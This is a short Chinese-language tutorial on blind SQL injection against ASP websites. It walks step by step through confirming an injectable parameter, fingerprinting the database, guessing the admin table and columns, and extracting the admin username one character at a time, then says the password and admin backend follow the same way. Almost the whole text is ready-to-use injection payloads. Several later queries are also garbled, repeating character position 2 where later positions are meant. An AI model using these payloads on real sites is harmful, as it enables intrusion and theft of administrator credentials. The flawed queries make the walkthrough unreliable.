第一步:寻找注入点,用啊D注入工具或明小子注入工具都行
第二步:判断注入点能否注入
1. http://www.xxx.asp?id=4
2. http://www.xxx.asp?id=4 and 1=1
3. http://www.xxx.asp?id=4 and 1=2
如果2显示正常,3显示不正常,说明可以注入
如果2,3都显示不正常,说明不可以进行注入
第三步:判断数据库的类型
1. http://www.xxx.asp?id=4 and (select count(*) from sysobjects)>0
2. http://www.xxx.asp?id=4 and (select count(*) from msysobjects)>0
如果数据库是SQLserver数据库,则1的显示内容和正常的差不多,2显示的内容就会出现错误。
第四步:猜表名
http://www.xxx.asp?id=4 and (select count(*) from admin)>=0
如果正常显示,说明表admin存在,否则,不存在。
第五步:猜字段名
http://www.xxx.asp?id=4 and (select count(username) from admin)>=0
http://www.xxx.asp?id=4 and (select count(password) from admin)>=0
如果正常显示,说明字段username,password存在,否则,不存在。
第六步:猜字段名的长度
http://www.xxx.asp?id=4 and (select top 1 len(username) from admin)>0成立
http://www.xxx.asp?id=4 and (select top 1 len(username) from admin)>4成立
http://www.xxx.asp?id=4 and (select top 1 len(username) from admin)>5不成立
字段的长度就是len(username)=5
第七步:得到字段的ASCII码
username字段,第一个字符是 a
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,1,1)) from Admin)>0成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,1,1)) from Admin)>96成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,1,1)) from Admin)>97不成立
97的ASCII码是 a
username字段,第二个字符是 d
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>0成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>99成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>100不成立
100的ASCII码是 d
username字段,第二个字符是 m
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>0成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>108成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>109不成立
109的ASCII码是 m
username字段,第二个字符是 i
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>0成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>104成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>105不成立
105的ASCII码是 i
username字段,第二个字符是 n
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>0成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>109成立
http://www.xxx.asp?id=4 and (select top 1 asc(mid(username,2,1)) from Admin)>110不成立
110的ASCII码是 n
所以username=admin
password也用这样的方法,推算出来,再通过工具把后台地址扫描出来就OK~/(≧▽≦)/~啦啦啦